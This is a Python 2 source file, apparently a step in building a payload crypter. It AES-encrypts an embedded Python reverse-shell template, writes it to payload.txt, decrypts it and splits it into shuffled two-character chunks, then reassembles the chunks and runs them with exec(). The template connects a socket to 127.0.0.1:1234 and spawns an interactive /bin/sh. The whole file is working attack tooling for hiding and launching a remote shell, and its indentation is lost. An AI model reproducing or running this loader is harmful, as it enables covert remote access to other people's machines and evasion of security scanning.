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step6.py
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step6.py
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import re,random,string,Crypto,binascii
from Crypto.Cipher import AES
from binascii import hexlify
arrayList = []
def fillList(arrayBrokenShellCode,toFill):
# i = arrayBrokenShellCoFill):
for i in range(0,toFill):
arrayBrokenShellCode.append("aa")
return arrayBrokenShellCode
def generateArrayList(l):
# l = l.replace(r'\[','\\[').replace(r'\]','\\]').replace(r'\(','\\(').replace(r'\)','\\)')
arrayBrokenShellCode = re.findall('..?',l)
# x = map(lambda foo: foo.replace('a', 'b'), x), Example
# x = map(lambda arrayBrokenShellCode: arrayBrokenShellCode[x].replace(r'[','\['),replace(r']','\]'),x)
# # arrayBrokenShellCode = list(x)
# # for i, v in enumerate(x) :
# # x[i] = v.replace("a","b")
# for v in enumerate(arrayBrokenShellCode):
# # v = arrayBrokenShellCode[i]
# # print vode.index(v)
# # print i,v
# arrayBrokenShellCode[i] = v.replace("[","\[").replace("]","\]")
# print arrayBrokenShellCode
# for pair in arrayBrokenShellCode:
# pair = pair.replace(r"[","\[").replace(r"]","\]")
arrayBSOrig = list(arrayBrokenShellCode)
# print "DEBUG: ",arrayBSOrig
toFill = 50 - len(arrayBrokenShellCode)
arrayBrokenShellCode = fillList(arrayBrokenShellCode,toFill)
arrayShuffled = random.sample(arrayBrokenShellCode,len(arrayBrokenShellCode))
for i in arrayShuffled:
if i == 'aa' or None:
char = ''.join(random.choice(string.ascii_lowercase) for i in range(2))
arrayShuffled[arrayShuffled.index(i)] = char
return arrayShuffled,arrayBSOrig
scmap = []
def remap(arrayBSOrig,arrayShuffled):
for word in arrayBSOrig:
# print "Word query:\r\n",word
mapped = arrayShuffled.index(word)
scmap.append(mapped)
return scmap
def reconstituteSC(arrayShuffled,scmap):
cmd=""
for index in scmap:
# # print 'DEBUG: Value of Array of Index: \r\n{}'.format(str(index)),arrayShuffled
cmd += arrayShuffled[index]
# print "Command string built:\r\n",cmd
# # print 'DEBUG: Value of cmd to be executed: \r\n{}'.format(str(cmd))
cmd = cmd.strip().rstrip()
print "Executing Command:\r\n{}".format(str(cmd))
exec(cmd)
return cmd
def reconstituteOrig(arrayBSOrig):
# for
# cmd = ""
shell=[]
# for v in arrayBSOrig:
# cmd = "{}{}".format(str(cmd),str(v))
# shell.append(cmd)
for x in arrayBSOrig:
cmd = ""
try:
cmd = "".join(x)
shell.append(cmd)
except:
pass
print shell
for c in shell:
cmd = c
print "Executing Command:\r\n{}".format(str(cmd))
exec(cmd)
return
# def fuckthisshit(arrayBSOrig):
# for x in arrayBSOrig:
# sublist = x
# for y in sublist:
# cmd = "".join(y)
# print cmd
# return
def generateKey(size=32,chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for x in range(size))
def generateIV(size=16,chars=string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for x in range(size))
def cryptor(shellcommands, key, IV):
obj = AES.new(key,AES.MODE_CFB,IV)
# #print "DEBUG: Shell Commands", shellcommands
ciphertext = obj.encrypt(shellcommands)
# #print "DEBUG: Ciphertext", ciphertext
return ciphertext
def safeDecryptShellCommands(ciphertext, key, IV):
obj3 = AES.new(key,AES.MODE_CFB,IV)
plainTextCmd = obj3.decrypt(ciphertext)
#print plainTextCmd
return plainTextCmd
def writePayloadToFile(l_encrypted):
payload = 'payload.txt'
w = open(payload,'w+')
w.write(l_encrypted)
w.close()
return payload
def executeEncryptedPayload(payload,decryptKey,decryptIV):
r = open(payload,'r+')
cryptedPayload = r.read()
r.close()
x = safeDecryptShellCommands(cryptedPayload,decryptKey,decryptIV)
lines = x.splitlines()
return lines
template_reverse_shell = """
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
"""
template_reverse_shell = template_reverse_shell.strip().rstrip()
def main():
decryptKey = generateKey()
decryptIV = generateIV()
# lines = template_reverse_shell.splitlines()
l_encrypted = cryptor(template_reverse_shell,decryptKey,decryptIV)
# l_encrypted = """
# import re,random,string,Crypto,binascii
# from Crypto.Cipher import AES
# k="{}"
# i="{}"
# d="{}"
# def generateArrayList(l):
# abs = re.findall('..?',l)
# arrayBSOrig = list(abs)
# toFill = 50 - len(abs)
# abs = fillList(abs,toFill)
# arrayShuffled = random.sample(abs,len(abs))
# for i in arrayShuffled:
# if i == 'aa' or None:
# char = ''.join(random.choice(string.ascii_lowercase) for i in range(2))
# arrayShuffled[arrayShuffled.index(i)] = char
# return as,abso
# def ddc(d, k, i):
# obj3 = AES.new(key,AES.MODE_CFB,IV)
# plainTextCmd = obj3.decrypt(ciphertext)
# return c
# def exddc(d,k,i):
# cP = d
# x = ddc(cP,k,i)
# lines = x.splitlines()
# return lines
# def main():
# c=exddc(d,k,i)
# for l in c:
# as, abso = generateArrayList(c)
# scmap = remap(abso,as)
# for l in c:
# arr = re.findall('..?',c)
# cd="".join(arr)
# exec(cd)
# return
# main()
# """.format(
# str(decryptKey),
# str(generateIV),
# str(l_encrypted))
payload = writePayloadToFile(l_encrypted)
out = hexlify(l_encrypted)
print "DEBUG:\r\n{}".format(str(out))
lines = executeEncryptedPayload(payload,decryptKey,decryptIV)
print "DEBUG:\r\n{}".format(str(lines))
for l in lines:
arrayShuffled, arrayBSOrig = generateArrayList(l)
# print "Shuffled array\r\n",arrayShuffled,"\r\nOriginal array\r\n",arrayBSOrig
scmap = remap(arrayBSOrig,arrayShuffled)
# reconstituteSC(arrayShuffled,scmap)
# reconstituteOrig(arrayBSOrig)
# fuckthisshit(arrayBSOrig)
for l in lines:
array = re.findall('..?',l)
print array
cmd = "".join(array)
print "Reconstituted:\r\n",cmd
exec(cmd)
# Figure out why the fuck this doesn't work
# Its as if you got the array from the same function, it will work
# But if you got it from calling a different function, it doesn't work.
# for x in arrayBSOrig:
# cmd = "".join(x)
# print cmd
# exec(cmd)
return
main()